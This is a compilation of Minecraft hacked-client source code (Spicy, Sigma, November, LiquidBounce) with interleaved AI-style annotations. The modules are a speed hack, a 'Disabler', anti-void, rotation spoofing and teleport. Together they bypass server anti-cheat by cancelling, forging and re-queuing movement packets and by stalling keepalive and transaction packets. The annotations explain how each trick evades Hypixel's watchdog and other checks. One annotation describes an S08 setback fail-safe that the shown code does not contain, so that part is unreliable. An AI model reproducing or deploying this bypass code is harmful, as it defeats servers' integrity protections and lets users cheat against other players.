mc.gameSettings.keyBindJump.pressed = false;
if (!mc.thePlayer.isInWater()) {
mc.thePlayer.noClip = true;
if (MovementUtils.isOnGround(0.00004)) {
//MovementUtils.setMotion((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + ((float)hypixelSpeed.getValue() * 15));
mc.thePlayer.jump();
e.setCanceled(true);
}
if (MovementUtils.isOnGround(1)) {
mc.timer.ticksPerSecond = 20;
}else if (mc.thePlayer.fallDistance < 1.5) {
mc.timer.ticksPerSecond = 26.5f + new Random().nextFloat();
}
mc.thePlayer.setSprinting(true);
//MovementUtils.strafe((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + 0.01f);
MovementUtils.setMotion((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + ((float)hypixelSpeed.getValue()));
}else {
}
}
else if (mode.is("Hypixel") && (!!SpicyClient.config.blockFly.isEnabled() || (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null))) {
mc.timer.ticksPerSecond = 20;
}
else if (mode.is("Test") && (mc.gameSettings.keyBindForward.pressed || mc.gameSettings.keyBindBack.pressed || mc.gameSettings.keyBindLeft.pressed || mc.gameSettings.keyBindRight.pressed)) {
mc.gameSettings.keyBindJump.pressed = false;
if (!mc.thePlayer.isInWater()) {
mc.thePlayer.noClip = true;
if (!MovementUtils.isOnGround(1)) {
mc.thePlayer.motionY = -0.01 + (new Random().nextDouble() / 100);
//e.setCanceled(true);
}
else if (MovementUtils.isOnGround(0.000000000004)) {
mc.thePlayer.jump();
}
mc.thePlayer.setSprinting(true);
//MovementUtils.strafe((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + 0.01f);
MovementUtils.setMotion((float) Math.sqrt(mc.thePlayer.motionX * mc.thePlayer.motionX + mc.thePlayer.motionZ * mc.thePlayer.motionZ) + ((float)hypixelSpeed.getValue()));
}else {
}
}
else if (mode.is("Test 3")) {
if ((!SpicyClient.config.blockFly.isEnabled() || (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null))) {
if (MovementUtils.isOnGround(1)) {
mc.timer.ticksPerSecond = 20;
}else if (mc.thePlayer.fallDistance < 3) {
mc.timer.ticksPerSecond = 26.5f + new Random().nextFloat();
}
}else {
mc.timer.ticksPerSecond = 20;
}
}
}
}
if (e instanceof EventMotion && mc.thePlayer.onGround && mode.is("Test 3")) {
((EventMotion)e).setY(((EventMotion)e).getY() + (double)RandomUtils.nextFloat(1.0E-5F, 9.9E-4F));
}
if (e instanceof EventMove && MovementUtils.isMoving() && !mc.thePlayer.isInWater() && e.isBeforePre() && mode.is("Test 3") && (!SpicyClient.config.blockFly.isEnabled() || (SpicyClient.config.killaura.isEnabled() && SpicyClient.config.killaura.target != null))) {
forward = 0.2873D;
if (mc.thePlayer.onGround) {
((EventMove)e).setY(mc.thePlayer.motionY = 0.41999998688697815D);
this.speed = forward * 2.1500000953674316D;
this.lastDistanceReset = true;
} else if (!this.lastDistanceReset && !mc.thePlayer.isCollidedHorizontally) {
//this.speed -= this.speed / 159.0D;
this.speed -= this.speed / 165.0D;
} else {
this.speed -= 0.66D * (this.speed - forward);
this.lastDistanceReset = false;
}
MovementUtils.setMotion(Math.max(this.speed, forward));
((EventMove)e).setSpeed(Math.max(this.speed, speed));
}
}
public static transient float Speed = 0;
public static transient boolean lastDistanceReset = false;
public static double roundToPlace(double value, int places) {
if (places < 0) {
throw new IllegalArgumentException();
} else {
BigDecimal bd = new BigDecimal(value);
bd = bd.setScale(places, RoundingMode.HALF_UP);
return bd.doubleValue();
}
}
double forward;
double strafe;
}
// NOTE (AI): Bhop is Spicy's speed module and it manipulates C03 only indirectly: the Hypixel mode sets the player noClip, jumps on a 0.00004 ground check, and runs the client at 26.5 tps plus a random jitter while airborne, so the movement packets the vanilla emitter sends carry a faster-than-normal trajectory. Test 3 mode is the packet-level variant: on EventMove it sets motionY to 0.41999998688697815, seeds speed at forward*2.1500000953674316 and decays it by speed/165 per air tick, and adds a random 1.0E-5..9.9E-4 Y jitter to every on-ground packet so the server sees a noisy ground contact. The S08PacketPlayerPosLook handler counts setbacks and hard-disables the module after 3 lagbacks in 5 seconds, an explicit anti-flag fail-safe.
Break anti-cheat position timing by cancelling, rewriting or re-injecting C03 packets, usually paired with keepalive and transaction manipulation.
Sigma's Hypixel mode arms a watchdog flag by sending C04 (x, y+0.16, z, true) and (x, y+0.07, z, true) through sendPacketNoEvent, then cancels every C03 in the outgoing pre phase until an S08PacketPlayerPosLook disarms it. ViperMC mode injects ten C04 packets alternating +-0.2 Y every 3 seconds. The keepalive and transaction branches (Erisium re-sends the last S00 key every 1500ms, SagePvP/ColdNetwork cancel accepted C0F with id 0) keep the frozen connection alive.
// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Disabler.java =====
package info.sigmaclient.module.impl.other;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import info.sigmaclient.Client;
import info.sigmaclient.event.Event;
import info.sigmaclient.event.RegisterEvent;
import info.sigmaclient.event.impl.EventPacket;
import info.sigmaclient.event.impl.EventUpdate;
import info.sigmaclient.management.MoveUtils;
import info.sigmaclient.management.notifications.Notifications;
import info.sigmaclient.module.Module;
import info.sigmaclient.module.data.ModuleData;
import info.sigmaclient.module.data.Options;
import info.sigmaclient.module.data.Setting;
import info.sigmaclient.module.impl.movement.Phase;
import info.sigmaclient.util.Timer;
import info.sigmaclient.util.misc.ChatUtil;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import net.minecraft.item.Item;
import net.minecraft.item.ItemBook;
import net.minecraft.item.ItemStack;
import net.minecraft.network.Packet;
import net.minecraft.network.PacketBuffer;
import net.minecraft.network.play.client.C00PacketKeepAlive;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C0APacketAnimation;
import net.minecraft.network.play.client.C0FPacketConfirmTransaction;
import net.minecraft.network.play.client.C17PacketCustomPayload;
import net.minecraft.network.play.server.S00PacketKeepAlive;
import net.minecraft.network.play.server.S02PacketChat;
import net.minecraft.network.play.server.S08PacketPlayerPosLook;
public class Disabler extends Module {
String MODE = "MODE";
boolean faithful = false, watchdog = false, erisium = false;
Timer timer = new Timer();
int lastKey;
String mode;
public Disabler(ModuleData data) {
super(data);
settings.put(MODE, new Setting<>(MODE, new Options("Mode", "Hypixel", new String[]{"Hypixel", "Faithful", "Erisium", "SagePvP", "ColdNetwork"}), "Disabler method."));
}
@Override
public void onEnable() {
if (mc.theWorld == null)
return;
erisium = false;
timer.reset();
mode = ((Options) settings.get(MODE).getValue()).getSelected();
if (mode.equalsIgnoreCase("ViperMC")) {
if (!MoveUtils.isOnGround(0.0001)) {
this.toggle();
Notifications.getManager().post("Disabler", "Try again on ground !", Notifications.Type.WARNING);
}
}
if (mode.equalsIgnoreCase("Hypixel")) {
if (MoveUtils.isOnGround(0.001) && mc.thePlayer.isCollidedVertically) {
double x = mc.thePlayer.posX;
double y = mc.thePlayer.posY;
double z = mc.thePlayer.posZ;
mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.16, z, true));
mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.07, z, true));
watchdog = true;
Notifications.getManager().post("Disabler", "Wait 5s.", Notifications.Type.INFO);
} else {
watchdog = false;
}
} else if (mode.equalsIgnoreCase("Faithful")) {
Notifications.getManager().post("Disabler", "Relog to disable Area 51.", Notifications.Type.INFO);
}
}
@Override
@RegisterEvent(events = {EventUpdate.class, EventPacket.class})
public void onEvent(Event event) {
if (mode == null) {
mode = ((Options) settings.get(MODE).getValue()).getSelected();
}
if (!mode.equalsIgnoreCase(((Options) settings.get(MODE).getValue()).getSelected())) {
mode = ((Options) settings.get(MODE).getValue()).getSelected();
if (mode.equalsIgnoreCase("Faithful")) {
Notifications.getManager().post("Disabler", "Relog to disable Area 51.", Notifications.Type.INFO);
}
}
this.setSuffix(mode);
if (event instanceof EventUpdate) {
EventUpdate em = (EventUpdate) event;
if (em.isPre()) {
if (mc.thePlayer.ticksExisted <= 1) {
erisium = false;
}
if (mode.equalsIgnoreCase("ViperMC")) {
if (timer.delay(3000)) {
em.setY(mc.thePlayer.posY + 0.4);
return;
}
for (int i = 0; i < 10; ++i) {
boolean i2 = i > 2 && i < 8;
double x = i2 ? 0.2 : -0.2D;
C03PacketPlayer.C04PacketPlayerPosition packet = new C03PacketPlayer.C04PacketPlayerPosition(
mc.thePlayer.posX, mc.thePlayer.posY + x, mc.thePlayer.posZ, true);
mc.thePlayer.sendQueue.addToSendQueue(packet);
}
}
if (mode.equalsIgnoreCase("Hypixel"))
if (!watchdog) {
if (MoveUtils.isOnGround(0.001) && mc.thePlayer.isCollidedVertically) {
double x = mc.thePlayer.posX;
double y = mc.thePlayer.posY;
double z = mc.thePlayer.posZ;
mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));
mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.16, z, true));
mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.07, z, true));
watchdog = true;
Notifications.getManager().post("Disabler", "Please wait 5s.", Notifications.Type.INFO);
}
} else {
mc.thePlayer.motionX = 0;
mc.thePlayer.motionY = 0;
mc.thePlayer.motionZ = 0;
mc.thePlayer.jumpMovementFactor = 0;
mc.thePlayer.noClip = true;
mc.thePlayer.onGround = false;
}
if (mode.equalsIgnoreCase("Erisium")) {
if (erisium && timer.delay(1500)) {
erisium = !erisium;
mc.thePlayer.sendQueue.getNetworkManager().sendPacketNoEvent(new C00PacketKeepAlive(lastKey));
}
}
}
} else if (event instanceof EventPacket) {
EventPacket ep = (EventPacket) event;
Packet p = ep.getPacket();
if (ep.isPre()) {
if (p instanceof C03PacketPlayer) {
if (mode.equalsIgnoreCase("Hypixel") && watchdog) {
ep.setCancelled(true);
}
}
if (p instanceof S08PacketPlayerPosLook) {
S08PacketPlayerPosLook pac = (S08PacketPlayerPosLook) ep.getPacket();
pac.yaw = mc.thePlayer.rotationYaw;
pac.pitch = mc.thePlayer.rotationPitch;
if (watchdog && mode.equalsIgnoreCase("Hypixel")) {
Notifications.getManager().post("Disabler", "You can do what you want for 5s !", Notifications.Type.INFO);
this.toggle();
}
}
if (p instanceof S00PacketKeepAlive) {
S00PacketKeepAlive packet = (S00PacketKeepAlive) p;
int KEY = packet.func_149134_c();
if (mode.equalsIgnoreCase("Erisium")) {
timer.reset();
erisium = true;
lastKey = KEY;
}
}
if (p instanceof C00PacketKeepAlive) {
C00PacketKeepAlive packet = (C00PacketKeepAlive) p;
if (mode.equalsIgnoreCase("Faithful") || mode.equalsIgnoreCase("Erisium") || mode.equalsIgnoreCase("SagePvP") || mode.equalsIgnoreCase("ColdNetwork")) {
ep.setCancelled(true);
}
}
if (p instanceof C0FPacketConfirmTransaction) {
C0FPacketConfirmTransaction packet = (C0FPacketConfirmTransaction) p;
int id = packet.getId();
boolean accepted = packet.isAccepted();
int uid = packet.getUid();
if (id == 0 && accepted)
if (mode.equalsIgnoreCase("SagePvP") || mode.equalsIgnoreCase("ColdNetwork")) {
ep.setCancelled(true);
}
}
}
}
}
}
// NOTE (AI): The Hypixel mode is the C03 centerpiece: while armed (watchdog flag), every C03PacketPlayer is cancelled in the outgoing pre phase, freezing the server-side player, and the module waits for an S08PacketPlayerPosLook to disarm. Before arming, it sends C04 (x, y+0.16, z, true) and (x, y+0.07, z, true) through sendPacketNoEvent, the ground-truth pair that trips Hypixel's watchdog jump flag so the watchdog window opens. ViperMC mode instead injects ten C04 packets alternating +0.2/-0.2 Y per 3 seconds and bumps the UpdateEvent Y by 0.4. The keepalive and transaction branches (Erisium re-sends the last S00 key every 1500ms; SagePvP/ColdNetwork cancel accepted C0F with id 0) are the timing half that keeps the freeze from being detected as a dead connection.
Rescue the falling player by shaping the C03 stream before the server's void kill: SETBACK raises the reported Y, WATCHDOG cancels and buffers C03 over the void.
EventWalkingUpdate PRE raises the walking-update Y by +1 (SETBACK), snaps Y to a 1/64 modulus with onGround forced true (VULCAN), or calls jump() (JUMP). WATCHDOG cancels every C03 while aboveVoid() and fallDistance > 0.1, parks the packets in a ConcurrentLinkedQueue, and flushes the whole queue plus a bare C03 once 120 packets accumulate.
// ===== FILE: November Recode 2.0, feature/module/impl/player/AntiVoidModule.java =====
/* November.lol © 2023 */
package lol.november.feature.module.impl.player;
import java.util.Queue;
import java.util.concurrent.ConcurrentLinkedQueue;
import lol.november.feature.module.Category;
import lol.november.feature.module.Module;
import lol.november.feature.module.Register;
import lol.november.feature.setting.Setting;
import lol.november.listener.bus.Listener;
import lol.november.listener.bus.Subscribe;
import lol.november.listener.event.Stage;
import lol.november.listener.event.net.EventPacket;
import lol.november.listener.event.player.EventUpdate;
import lol.november.listener.event.player.move.EventWalkingUpdate;
import net.minecraft.init.Blocks;
import net.minecraft.network.Packet;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.util.BlockPos;
/**
* @author Gavin
* @since 2.0.0
*/
@Register(
name = "AntiVoid",
description = "Prevents you from falling into the void",
category = Category.PLAYER
)
public class AntiVoidModule extends Module {
private static final double GROUND = 1.0 / 64.0;
private final Setting<Mode> mode = new Setting<>("Mode", Mode.SETBACK);
private final Setting<Boolean> voidCheck = new Setting<>("Void Check", true);
private final Setting<Float> distance = new Setting<>(
"Fall Distance",
3.0f,
0.01f,
3.0f,
20.0f
);
private final Queue<Packet<?>> packetQueue = new ConcurrentLinkedQueue<>();
@Subscribe
private final Listener<EventUpdate> update = event -> {
if (mode.getValue() == Mode.WATCHDOG && packetQueue.size() > 120) {
// idek if this works
mc.thePlayer.fallDistance = 0.0f;
while (!packetQueue.isEmpty()) {
mc.thePlayer.sendQueue.addToSendQueueSilent(packetQueue.poll());
}
mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer());
}
};
@Subscribe
private final Listener<EventWalkingUpdate> walkingUpdate = event -> {
if (event.getStage() != Stage.PRE) return;
if (
mc.thePlayer.fallDistance < distance.getValue() ||
(!aboveVoid() && voidCheck.getValue())
) return;
switch (mode.getValue()) {
case SETBACK -> event.setY(event.getY() + 1);
case VULCAN -> {
event.setY(event.getY() + (event.getY() % GROUND));
event.setOnGround(true);
}
case JUMP -> mc.thePlayer.jump();
}
mc.thePlayer.fallDistance = 0.0f;
};
@Subscribe
private final Listener<EventPacket.Out> packetIn = event -> {
if (event.get() instanceof C03PacketPlayer packet) {
if (mode.getValue() != Mode.WATCHDOG) return;
if (aboveVoid() && mc.thePlayer.fallDistance > 0.1f) {
event.setCanceled(true);
packetQueue.add(packet);
}
}
};
private boolean aboveVoid() {
for (int y = (int) Math.floor(mc.thePlayer.posY); y > 0; --y) {
BlockPos pos = new BlockPos(mc.thePlayer.posX, y, mc.thePlayer.posZ);
if (mc.theWorld.getBlockState(pos).getBlock() != Blocks.air) return false;
}
return true;
}
private enum Mode {
SETBACK,
JUMP,
VULCAN,
WATCHDOG,
}
}
// NOTE (AI): November's AntiVoid: the WATCHDOG mode cancels C03PacketPlayer while aboveVoid() and fallDistance > 0.1, queues the packets, and flushes them plus a bare C03 once 120 accumulate. SETBACK and VULCAN instead shape the walking update the vanilla emitter turns into C03: SETBACK raises Y by one, VULCAN snaps Y to a 1/64 modulus and forces onGround true. The flush path uses addToSendQueueSilent, which bypasses the module's own packet listener.
Central rotation spoofing service: track the server's rotation from outgoing C03 packets and inject module-chosen yaw and pitch into the walking update the vanilla emitter turns into the next C03.
On EventPacket.Out, a rotating C03 stores its yaw and pitch as the server rotation. On EventWalkingUpdate PRE, the spoofed angles overwrite the event yaw and pitch plus the render rotations for keepTicks ticks; MoveCorrection.BASIC and FREE re-apply the yaw on EventStrafe so movement direction follows the spoof. Modules request rotations through spoof(priority, keepTicks, angles) and the highest priority wins.
// ===== FILE: November Recode 2.0, management/rotate/RotationManager.java =====
/* November.lol © 2023 */
package lol.november.management.rotate;
import lol.november.November;
import lol.november.listener.bus.Listener;
import lol.november.listener.bus.Subscribe;
import lol.november.listener.event.Stage;
import lol.november.listener.event.net.EventPacket;
import lol.november.listener.event.player.move.EventStrafe;
import lol.november.listener.event.player.move.EventWalkingUpdate;
import lol.november.management.rotate.correction.MoveCorrection;
import net.minecraft.client.Minecraft;
import net.minecraft.network.play.client.C03PacketPlayer;
/**
* @author Gavin
* @since 2.0.0
*/
public class RotationManager {
/**
* The {@link Minecraft} game instance
*/
private final Minecraft mc = Minecraft.getMinecraft();
private float[] client, server;
private int rotationPriority;
private int ticks;
private MoveCorrection moveCorrection = MoveCorrection.NONE;
public RotationManager() {
server = new float[2];
November.bus().subscribe(this);
}
@Subscribe
private final Listener<EventWalkingUpdate> walkingUpdate = event -> {
if (event.getStage() == Stage.PRE && client != null) {
event.setYaw(client[0]);
event.setPitch(client[1]);
mc.thePlayer.rotationYawHead = client[0];
mc.thePlayer.renderYawOffset = client[0];
mc.thePlayer.renderPitch = client[1];
if (--ticks <= 0) {
moveCorrection = null;
client = null;
}
}
};
@Subscribe
private final Listener<EventStrafe> strafe = event -> {
if (
!event.getEntity().equals(mc.thePlayer) ||
client == null ||
moveCorrection == MoveCorrection.NONE
) return;
if (moveCorrection == MoveCorrection.BASIC) {
event.setRotationYaw(client[0]);
} else if (moveCorrection == MoveCorrection.FREE) {
// TODO
event.setRotationYaw(client[0]);
}
};
@Subscribe
private final Listener<EventPacket.Out> packetOut = event -> {
if (event.get() instanceof C03PacketPlayer packet) {
if (!packet.getRotating()) return;
server[0] = packet.getYaw();
server[1] = packet.getPitch();
}
};
public void spoof(int priority, int keepTicks, float[] angles) {
if (client == null || priority >= rotationPriority) {
client = angles;
rotationPriority = priority;
ticks = keepTicks;
}
}
public void setMoveCorrection(int priority, MoveCorrection moveCorrection) {
if (priority == rotationPriority) {
this.moveCorrection = moveCorrection;
}
}
public void reset(int priority) {
if (priority >= rotationPriority || ticks <= 0) {
ticks = 0;
moveCorrection = MoveCorrection.NONE;
}
}
public float[] server() {
return server;
}
public float[] client() {
return client;
}
public boolean spoofing() {
return client != null && ticks > 0;
}
}
// NOTE (AI): November's rotation service. The C03 hit is the packetOut listener: every rotating C03 the client emits becomes the recorded server rotation, and the walking-update listener injects the spoofed angles into the event the vanilla emitter consumes, so the next C03 carries the module rotation. AutoPotModule and KillAuraModule call spoof(HIGH, 5, angles), and the priority system lets the highest-priority module win the rotation for keepTicks ticks.
Teleport by spoofing C04 position streams instead of moving: packet sequences toward a target BlockPos, with the server's own lag-back used as the arm signal.
onEnable provokes a lag-back with C0F(0,-1,false), a flying-abilities C13 and C04 +0.17/+0.06, then every C03 is cancelled until an S08 flips tp=true. The tick handler then replays the fall ladder (0.060100000351667404, 5.000000237487257E-4, 0.004999999888241291 + 6.01000003516674E-8) and walks a PathfindingUtils path with per-vec3 C04s, finishing with C03(true) and C0C input. The core Teleport module adds per-AC modes: Blink and Flag wrap the C04 burst in STOP/START_SNEAKING, Spoof rewrites C03 x/y/z to the target, AAC3.5.0 cancels and queues C04/C06.
// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/Teleport.java =====
/*
* LiquidBounce Hacked Client
* A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.
* https://github.com/CCBlueX/LiquidBounce/
*/
package net.ccbluex.liquidbounce.features.module.modules.exploit;
import net.ccbluex.liquidbounce.event.*;
import net.ccbluex.liquidbounce.features.module.Module;
import net.ccbluex.liquidbounce.features.module.ModuleCategory;
import net.ccbluex.liquidbounce.features.module.ModuleInfo;
import net.ccbluex.liquidbounce.utils.ClientUtils;
import net.ccbluex.liquidbounce.utils.MovementUtils;
import net.ccbluex.liquidbounce.utils.PathUtils;
import net.ccbluex.liquidbounce.utils.block.BlockUtils;
import net.ccbluex.liquidbounce.utils.render.RenderUtils;
import net.ccbluex.liquidbounce.utils.timer.TickTimer;
import net.ccbluex.liquidbounce.value.ListValue;
import net.minecraft.block.BlockAir;
import net.minecraft.block.material.Material;
import net.minecraft.client.renderer.GlStateManager;
import net.minecraft.client.renderer.entity.RenderManager;
import net.minecraft.network.Packet;
import net.minecraft.network.play.client.C03PacketPlayer;
import net.minecraft.network.play.client.C0BPacketEntityAction;
import net.minecraft.network.play.client.C0BPacketEntityAction.Action;
import net.minecraft.util.AxisAlignedBB;
import net.minecraft.util.BlockPos;
import net.minecraft.util.MovingObjectPosition;
import org.lwjgl.input.Mouse;
import java.awt.*;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import static org.lwjgl.opengl.GL11.*;
@ModuleInfo(name = "Teleport", description = "Allows you to teleport around.", category = ModuleCategory.EXPLOIT)
public class Teleport extends Module {
private final ListValue modeValue = new ListValue("Mode", new String[] {"Blink", "Flag", "Rewinside", "OldRewinside", "Spoof", "Minesucht", "AAC3.5.0"}, "Blink");
private final ListValue buttonValue = new ListValue("Button", new String[] {"Left", "Right", "Middle"}, "Middle");
private final TickTimer flyTimer = new TickTimer();
private boolean hadGround;
private final List<Packet<?>> packets = new ArrayList<>();
private boolean disableLogger = false;
private boolean zitter = false;
private boolean doTeleport = false;
private boolean freeze = false;
private TickTimer freezeTimer = new TickTimer();
private int delay;
private BlockPos endPos;
private MovingObjectPosition objectPosition;
@Override
public void onEnable() {
if(modeValue.get().equalsIgnoreCase("AAC3.5.0")) {
ClientUtils.displayChatMessage("§c>>> §a§lTeleport §fAAC 3.5.0 §c<<<");
ClientUtils.displayChatMessage("§cHow to teleport: §aPress " + buttonValue.get() + " mouse button.");
ClientUtils.displayChatMessage("§cHow to cancel teleport: §aDisable teleport module.");
}
}
@Override
public void onDisable() {
delay = 0;
endPos = null;
hadGround = false;
freeze = false;
disableLogger = false;
flyTimer.reset();
packets.clear();
super.onDisable();
}
@EventTarget
public void onUpdate(final UpdateEvent event) {
final int buttonIndex = Arrays.asList(buttonValue.getValues()).indexOf(buttonValue.get());
if(modeValue.get().equals("AAC3.5.0")) {
freezeTimer.update();
if(freeze && freezeTimer.hasTimePassed(40)) {
freezeTimer.reset();
freeze = false;
setState(false);
}
if(!flyTimer.hasTimePassed(60)) {
flyTimer.update();
if(mc.thePlayer.onGround) {
mc.thePlayer.jump();
}else{
MovementUtils.forward(zitter ? -0.21D : 0.21D);
zitter = !zitter;
}
hadGround = false;
return;
}
if(mc.thePlayer.onGround)
hadGround = true;
if(!hadGround)
return;
if(mc.thePlayer.onGround)
mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY + 0.2D, mc.thePlayer.posZ);
final float vanillaSpeed = 2F;
mc.thePlayer.capabilities.isFlying = false;
mc.thePlayer.motionY = 0;
mc.thePlayer.motionX = 0;
mc.thePlayer.motionZ = 0;
if(mc.gameSettings.keyBindJump.isKeyDown())
mc.thePlayer.motionY += vanillaSpeed;
if(mc.gameSettings.keyBindSneak.isKeyDown())
mc.thePlayer.motionY -= vanillaSpeed;
MovementUtils.strafe(vanillaSpeed);
if(Mouse.isButtonDown(buttonIndex) && !doTeleport) {
mc.thePlayer.setPositionAndUpdate(mc.thePlayer.posX, mc.thePlayer.posY - 11, mc.thePlayer.posZ);
disableLogger = true;
packets.forEach(packet -> mc.getNetHandler().addToSendQueue(packet));
freezeTimer.reset();
freeze = true;
}
doTeleport = Mouse.isButtonDown(buttonIndex);
return;
}
if(mc.currentScreen == null && Mouse.isButtonDown(buttonIndex) && delay <= 0) {
endPos = objectPosition.getBlockPos();
if(BlockUtils.getBlock(endPos).getMaterial() == Material.air) {
endPos = null;
return;
}
ClientUtils.displayChatMessage("§7[§8§lTeleport§7] §3Position was set to §8" + endPos.getX() + "§3, §8" + (endPos.getY() + 1) + "§3, §8" + endPos.getZ());
delay = 6;
}
if(delay > 0)
--delay;
if(endPos != null) {
final double endX = (double) endPos.getX() + 0.5D;
final double endY = (double) endPos.getY() + 1D;
final double endZ = (double) endPos.getZ() + 0.5D;
switch(modeValue.get().toLowerCase()) {
case "blink":
if(mc.thePlayer.isSneaking()) {
// Sneak
mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.STOP_SNEAKING));
// Teleport
PathUtils.findBlinkPath(endX, endY, endZ).forEach(vector3d -> {
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vector3d.x, vector3d.y, vector3d.z, true));
mc.thePlayer.setPosition(endX, endY, endZ);
});
// Sneak
mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.START_SNEAKING));
// Notify
ClientUtils.displayChatMessage("§7[§8§lTeleport§7] §3You were teleported to §8" + endX + "§3, §8" + endY + "§3, §8" + endZ);
}
break;
case "flag":
if(mc.thePlayer.isSneaking()) {
// Sneak
mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.STOP_SNEAKING));
// Teleport
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 5D, mc.thePlayer.posZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 0.5D, mc.thePlayer.posY, mc.thePlayer.posZ + 0.5D, true));
MovementUtils.forward(0.04D);
// Sneak
mc.getNetHandler().addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, Action.START_SNEAKING));
// Notify
ClientUtils.displayChatMessage("§7[§8§lTeleport§7] §3You were teleported to §8" + endX + "§3, §8" + endY + "§3, §8" + endZ);
}
break;
case "rewinside":
mc.thePlayer.motionY = 0.1;
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.6D, mc.thePlayer.posZ, true));
if((int) mc.thePlayer.posX == (int) endX && (int) mc.thePlayer.posY == (int) endY && (int) mc.thePlayer.posZ == (int) endZ) {
ClientUtils.displayChatMessage("§7[§8§lTeleport§7] §3You were teleported to §8" + endX + "§3, §8" + endY + "§3, §8" + endZ);
endPos = null;
}else
ClientUtils.displayChatMessage("§7[§8§lTeleport§7] §3Teleport try...");
break;
case "oldrewinside":
mc.thePlayer.motionY = 0.1;
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));
if((int) mc.thePlayer.posX == (int) endX && (int) mc.thePlayer.posY == (int) endY && (int) mc.thePlayer.posZ == (int) endZ) {
ClientUtils.displayChatMessage("§7[§8§lTeleport§7] §3You were teleported to §8" + endX + "§3, §8" + endY + "§3, §8" + endZ);
endPos = null;
}else
ClientUtils.displayChatMessage("§7[§8§lTeleport§7] §3Teleport try...");
MovementUtils.forward(0.04D);
break;
case "minesucht":
if(!mc.thePlayer.isSneaking())
break;
mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(endX, endY, endZ, true));
ClientUtils.displayChatMessage("§7[§8§lTeleport§7] §3You were teleported to §8" + endX + "§3, §8" + endY + "§3, §8" + endZ);
break;
}
}
}
@EventTarget
public void onRender3D(final Render3DEvent event) {
if(modeValue.get().equals("AAC3.5.0"))
return;
objectPosition = mc.thePlayer.rayTrace(1000, event.getPartialTicks());
if(objectPosition.getBlockPos() == null)
return;
final int x = objectPosition.getBlockPos().getX();
final int y = objectPosition.getBlockPos().getY();
final int z = objectPosition.getBlockPos().getZ();
if(!(BlockUtils.getBlock(objectPosition.getBlockPos()) instanceof BlockAir)) {
final RenderManager renderManager = mc.getRenderManager();
glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
glEnable(GL_BLEND);
glLineWidth(2F);
glDisable(GL_TEXTURE_2D);
glDisable(GL_DEPTH_TEST);
glDepthMask(false);
